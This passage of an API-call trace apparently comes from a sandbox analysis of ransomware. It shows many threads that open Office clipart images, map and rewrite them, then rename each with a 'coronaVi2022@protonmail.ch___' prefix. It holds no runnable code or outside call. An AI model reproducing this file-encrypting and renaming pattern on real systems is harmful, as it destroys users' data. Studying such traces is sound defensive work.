	[0105.135] MapViewOfFile (hFileMappingObject=0xffc, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x23b0000
	[0105.143] UnmapViewOfFile (lpBaseAddress=0x23b0000) returned 1
	[0105.143] CloseHandle (hObject=0xffc) returned 1
	[0105.143] GetCurrentThreadId () returned 0x1dac
	[0105.143] FlushFileBuffers (hFile=0xff8) returned 1
	[0105.148] CloseHandle (hObject=0xff8) returned 1
	[0105.148] _swprintf (in: param_1=0x3489f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH02748U.bmp") returned 97
	[0105.148] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02748U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02748u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH02748U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ph02748u.bmp")) returned 1
	[0105.149] free (_Block=0x51f5098) 
	[0105.149] RtlExitUserThread (Status=0x0) 

Thread:
	id = 849
	os_tid = 0x1db0

	[0105.150] _alloca_probe () returned 0x40328a
	[0105.151] GetCurrentThreadId () returned 0x1db0
	[0105.151] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02749G.gif", dwFileAttributes=0x80) returned 1
	[0105.151] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02749G.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02749g.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffc
	[0105.151] GetFileSizeEx (in: hFile=0xffc, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=34709) returned 1
	[0105.151] CreateFileMappingA (hFile=0xffc, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8799, lpName=0x0) returned 0xff4
	[0105.152] MapViewOfFile (hFileMappingObject=0xff4, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2360000
	[0105.159] UnmapViewOfFile (lpBaseAddress=0x2360000) returned 1
	[0105.160] CloseHandle (hObject=0xff4) returned 1
	[0105.160] GetCurrentThreadId () returned 0x1db0
	[0105.160] FlushFileBuffers (hFile=0xffc) returned 1
	[0105.170] CloseHandle (hObject=0xffc) returned 1
	[0105.170] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH02749G.gif") returned 97
	[0105.170] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02749G.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02749g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH02749G.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ph02749g.gif")) returned 1
	[0105.171] free (_Block=0x51f3088) 
	[0105.171] RtlExitUserThread (Status=0x0) 

Thread:
	id = 850
	os_tid = 0x1db4

	[0105.161] _alloca_probe () returned 0x40328a
	[0105.162] GetCurrentThreadId () returned 0x1db4
	[0105.162] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02749U.bmp", dwFileAttributes=0x80) returned 1
	[0105.162] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02749U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02749u.bmp"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1004
	[0105.162] GetFileSizeEx (in: hFile=0x1004, lpFileSize=0x348ff5c | out: lpFileSize=0x348ff5c*=33048) returned 1
	[0105.162] CreateFileMappingA (hFile=0x1004, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x811f, lpName=0x0) returned 0x1008
	[0105.163] MapViewOfFile (hFileMappingObject=0x1008, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2360000
	[0105.171] UnmapViewOfFile (lpBaseAddress=0x2360000) returned 1
	[0105.172] CloseHandle (hObject=0x1008) returned 1
	[0105.172] GetCurrentThreadId () returned 0x1db4
	[0105.172] FlushFileBuffers (hFile=0x1004) returned 1
	[0105.174] CloseHandle (hObject=0x1004) returned 1
	[0105.174] _swprintf (in: param_1=0x3489f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH02749U.bmp") returned 97
	[0105.174] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02749U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02749u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH02749U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ph02749u.bmp")) returned 1
	[0105.177] free (_Block=0x51f4090) 
	[0105.177] RtlExitUserThread (Status=0x0) 

Thread:
	id = 851
	os_tid = 0x1db8

	[0105.179] _alloca_probe () returned 0x40328a
	[0105.180] GetCurrentThreadId () returned 0x1db8
	[0105.180] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02750G.gif", dwFileAttributes=0x80) returned 1
	[0105.180] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02750G.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02750g.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1008
	[0105.180] GetFileSizeEx (in: hFile=0x1008, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=25799) returned 1
	[0105.180] CreateFileMappingA (hFile=0x1008, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x64cd, lpName=0x0) returned 0xffc
	[0105.180] MapViewOfFile (hFileMappingObject=0xffc, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2360000
	[0105.186] UnmapViewOfFile (lpBaseAddress=0x2360000) returned 1
	[0105.186] CloseHandle (hObject=0xffc) returned 1
	[0105.186] GetCurrentThreadId () returned 0x1db8
	[0105.186] FlushFileBuffers (hFile=0x1008) returned 1
	[0105.356] CloseHandle (hObject=0x1008) returned 1
	[0105.357] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH02750G.gif") returned 97
	[0105.357] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02750G.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02750g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH02750G.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ph02750g.gif")) returned 1
	[0105.357] free (_Block=0x51f4090) 
	[0105.357] RtlExitUserThread (Status=0x0) 

Thread:
	id = 852
	os_tid = 0x1dbc

	[0105.190] _alloca_probe () returned 0x40328a
	[0105.190] GetCurrentThreadId () returned 0x1dbc
	[0105.190] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02750U.bmp", dwFileAttributes=0x80) returned 1
	[0105.191] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02750U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02750u.bmp"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x100c
	[0105.191] GetFileSizeEx (in: hFile=0x100c, lpFileSize=0x348ff5c | out: lpFileSize=0x348ff5c*=94016) returned 1
	[0105.191] CreateFileMappingA (hFile=0x100c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x16f40, lpName=0x0) returned 0x1010
	[0105.191] MapViewOfFile (hFileMappingObject=0x1010, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x23b0000
	[0105.211] UnmapViewOfFile (lpBaseAddress=0x23b0000) returned 1
	[0105.212] CloseHandle (hObject=0x1010) returned 1
	[0105.213] GetCurrentThreadId () returned 0x1dbc
	[0105.213] FlushFileBuffers (hFile=0x100c) returned 1
	[0105.223] CloseHandle (hObject=0x100c) returned 1
	[0105.223] _swprintf (in: param_1=0x3489f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH02750U.bmp") returned 97
	[0105.223] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02750U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02750u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH02750U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ph02750u.bmp")) returned 1
	[0105.224] free (_Block=0x51f5098) 
	[0105.224] RtlExitUserThread (Status=0x0) 

Thread:
	id = 853
	os_tid = 0x1dc0

	[0105.214] _alloca_probe () returned 0x40328a
	[0105.215] GetCurrentThreadId () returned 0x1dc0
	[0105.215] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02752G.gif", dwFileAttributes=0x80) returned 1
	[0105.215] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02752G.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02752g.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1014
	[0105.215] GetFileSizeEx (in: hFile=0x1014, lpFileSize=0x358ff5c | out: lpFileSize=0x358ff5c*=50050) returned 1
	[0105.215] CreateFileMappingA (hFile=0x1014, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc383, lpName=0x0) returned 0x1018
	[0105.215] MapViewOfFile (hFileMappingObject=0x1018, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x23b0000
	[0105.228] UnmapViewOfFile (lpBaseAddress=0x23b0000) returned 1
	[0105.228] CloseHandle (hObject=0x1018) returned 1
	[0105.228] GetCurrentThreadId () returned 0x1dc0
	[0105.229] FlushFileBuffers (hFile=0x1014) returned 1
	[0105.230] CloseHandle (hObject=0x1014) returned 1
	[0105.231] _swprintf (in: param_1=0x3589f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH02752G.gif") returned 97
	[0105.231] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02752G.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02752g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH02752G.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ph02752g.gif")) returned 1
	[0105.231] free (_Block=0x51f3088) 
	[0105.231] RtlExitUserThread (Status=0x0) 

Thread:
	id = 854
	os_tid = 0x1dc4

	[0105.233] _alloca_probe () returned 0x40328a
	[0105.234] GetCurrentThreadId () returned 0x1dc4
	[0105.234] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02752U.bmp", dwFileAttributes=0x80) returned 1
	[0105.234] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02752U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02752u.bmp"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1018
	[0105.234] GetFileSizeEx (in: hFile=0x1018, lpFileSize=0x348ff5c | out: lpFileSize=0x348ff5c*=31752) returned 1
	[0105.234] CreateFileMappingA (hFile=0x1018, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7c0f, lpName=0x0) returned 0x100c
	[0105.235] MapViewOfFile (hFileMappingObject=0x100c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x23b0000
	[0105.241] UnmapViewOfFile (lpBaseAddress=0x23b0000) returned 1
	[0105.241] CloseHandle (hObject=0x100c) returned 1
	[0105.241] GetCurrentThreadId () returned 0x1dc4
	[0105.241] FlushFileBuffers (hFile=0x1018) returned 1
	[0105.243] CloseHandle (hObject=0x1018) returned 1
	[0105.244] _swprintf (in: param_1=0x3489f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH02752U.bmp") returned 97
	[0105.244] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02752U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02752u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH02752U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ph02752u.bmp")) returned 1
	[0105.245] free (_Block=0x51f60a0) 
	[0105.245] RtlExitUserThread (Status=0x0) 

Thread:
	id = 855
	os_tid = 0x1dc8

	[0105.292] _alloca_probe () returned 0x40328a
	[0105.293] GetCurrentThreadId () returned 0x1dc8
	[0105.293] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02753U.bmp", dwFileAttributes=0x80) returned 1
	[0105.293] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02753U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02753u.bmp"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1018
	[0105.293] GetFileSizeEx (in: hFile=0x1018, lpFileSize=0x358ff5c | out: lpFileSize=0x358ff5c*=108216) returned 1
	[0105.293] CreateFileMappingA (hFile=0x1018, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1a6bf, lpName=0x0) returned 0x100c
	[0105.294] MapViewOfFile (hFileMappingObject=0x100c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0105.316] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0105.317] CloseHandle (hObject=0x100c) returned 1
	[0105.317] GetCurrentThreadId () returned 0x1dc8
	[0105.317] FlushFileBuffers (hFile=0x1018) returned 1
	[0105.319] CloseHandle (hObject=0x1018) returned 1
	[0105.320] _swprintf (in: param_1=0x3589f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH02753U.bmp") returned 97
	[0105.320] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02753U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02753u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH02753U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ph02753u.bmp")) returned 1
	[0105.320] free (_Block=0x51f0070) 
	[0105.320] RtlExitUserThread (Status=0x0) 

Thread:
	id = 856
	os_tid = 0x1dcc

	[0105.361] _alloca_probe () returned 0x40328a
	[0105.361] GetCurrentThreadId () returned 0x1dcc
	[0105.361] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02754U.bmp", dwFileAttributes=0x80) returned 1
	[0105.362] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02754U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02754u.bmp"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1018
	[0105.362] GetFileSizeEx (in: hFile=0x1018, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=108504) returned 1
	[0105.362] CreateFileMappingA (hFile=0x1018, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1a7df, lpName=0x0) returned 0x100c
	[0105.362] MapViewOfFile (hFileMappingObject=0x100c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x460000
	[0105.384] UnmapViewOfFile (lpBaseAddress=0x460000) returned 1
	[0105.385] CloseHandle (hObject=0x100c) returned 1
	[0105.385] GetCurrentThreadId () returned 0x1dcc
	[0105.385] FlushFileBuffers (hFile=0x1018) returned 1
	[0105.387] CloseHandle (hObject=0x1018) returned 1
	[0105.387] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH02754U.bmp") returned 97
	[0105.387] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02754U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02754u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH02754U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ph02754u.bmp")) returned 1
	[0105.388] free (_Block=0x51f60a0) 
	[0105.388] RtlExitUserThread (Status=0x0) 

Thread:
	id = 857
	os_tid = 0x1dd0

	[0105.430] _alloca_probe () returned 0x40328a
	[0105.430] GetCurrentThreadId () returned 0x1dd0
	[0105.430] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02755U.bmp", dwFileAttributes=0x80) returned 1
	[0105.431] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02755U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02755u.bmp"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x100c
	[0105.431] GetFileSizeEx (in: hFile=0x100c, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=108504) returned 1
	[0105.431] CreateFileMappingA (hFile=0x100c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1a7df, lpName=0x0) returned 0x101c
	[0105.431] MapViewOfFile (hFileMappingObject=0x101c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x460000
	[0105.455] UnmapViewOfFile (lpBaseAddress=0x460000) returned 1
	[0105.456] CloseHandle (hObject=0x101c) returned 1
	[0105.456] GetCurrentThreadId () returned 0x1dd0
	[0105.456] FlushFileBuffers (hFile=0x100c) returned 1
	[0105.465] CloseHandle (hObject=0x100c) returned 1
	[0105.465] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH02755U.bmp") returned 97
	[0105.466] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02755U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02755u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH02755U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ph02755u.bmp")) returned 1
	[0105.466] free (_Block=0x51f0070) 
	[0105.466] RtlExitUserThread (Status=0x0) 

Thread:
	id = 858
	os_tid = 0x1dd4

	[0105.446] _alloca_probe () returned 0x40328a
	[0105.446] GetCurrentThreadId () returned 0x1dd4
	[0105.446] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02756U.bmp", dwFileAttributes=0x80) returned 1
	[0105.457] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02756U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02756u.bmp"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x101c
	[0105.458] GetFileSizeEx (in: hFile=0x101c, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=197640) returned 1
	[0105.458] CreateFileMappingA (hFile=0x101c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3040f, lpName=0x0) returned 0x1024
	[0105.458] MapViewOfFile (hFileMappingObject=0x1024, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x460000
	[0105.498] UnmapViewOfFile (lpBaseAddress=0x460000) returned 1
	[0105.500] CloseHandle (hObject=0x1024) returned 1
	[0105.500] GetCurrentThreadId () returned 0x1dd4
	[0105.500] FlushFileBuffers (hFile=0x101c) returned 1
	[0105.504] CloseHandle (hObject=0x101c) returned 1
	[0105.504] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH02756U.bmp") returned 97
	[0105.504] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02756U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02756u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH02756U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ph02756u.bmp")) returned 1
	[0105.505] free (_Block=0x51f4090) 
	[0105.505] RtlExitUserThread (Status=0x0) 

Thread:
	id = 859
	os_tid = 0x1dd8

	[0105.541] _alloca_probe () returned 0x40328a
	[0105.541] GetCurrentThreadId () returned 0x1dd8
	[0105.541] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02757U.bmp", dwFileAttributes=0x80) returned 1
	[0105.542] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02757U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02757u.bmp"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1024
	[0105.542] GetFileSizeEx (in: hFile=0x1024, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=197640) returned 1
	[0105.542] CreateFileMappingA (hFile=0x1024, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3040f, lpName=0x0) returned 0x100c
	[0105.542] MapViewOfFile (hFileMappingObject=0x100c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x460000
	[0105.644] UnmapViewOfFile (lpBaseAddress=0x460000) returned 1
	[0105.646] CloseHandle (hObject=0x100c) returned 1
	[0105.646] GetCurrentThreadId () returned 0x1dd8
	[0105.646] FlushFileBuffers (hFile=0x1024) returned 1
	[0105.668] CloseHandle (hObject=0x1024) returned 1
	[0105.668] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH02757U.bmp") returned 97
	[0105.668] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02757U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02757u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH02757U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ph02757u.bmp")) returned 1
	[0105.669] free (_Block=0x51f3088) 
	[0105.669] RtlExitUserThread (Status=0x0) 

Thread:
	id = 860
	os_tid = 0x1ddc

	[0105.648] _alloca_probe () returned 0x40328a
	[0105.649] GetCurrentThreadId () returned 0x1ddc
	[0105.649] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02758U.bmp", dwFileAttributes=0x80) returned 1
	[0105.650] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02758U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02758u.bmp"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1028
	[0105.650] GetFileSizeEx (in: hFile=0x1028, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=198648) returned 1
	[0105.651] CreateFileMappingA (hFile=0x1028, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x307ff, lpName=0x0) returned 0x102c
	[0105.651] MapViewOfFile (hFileMappingObject=0x102c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0105.703] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0105.705] CloseHandle (hObject=0x102c) returned 1
	[0105.705] GetCurrentThreadId () returned 0x1ddc
	[0105.705] FlushFileBuffers (hFile=0x1028) returned 1
	[0105.710] CloseHandle (hObject=0x1028) returned 1
	[0105.711] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH02758U.bmp") returned 97
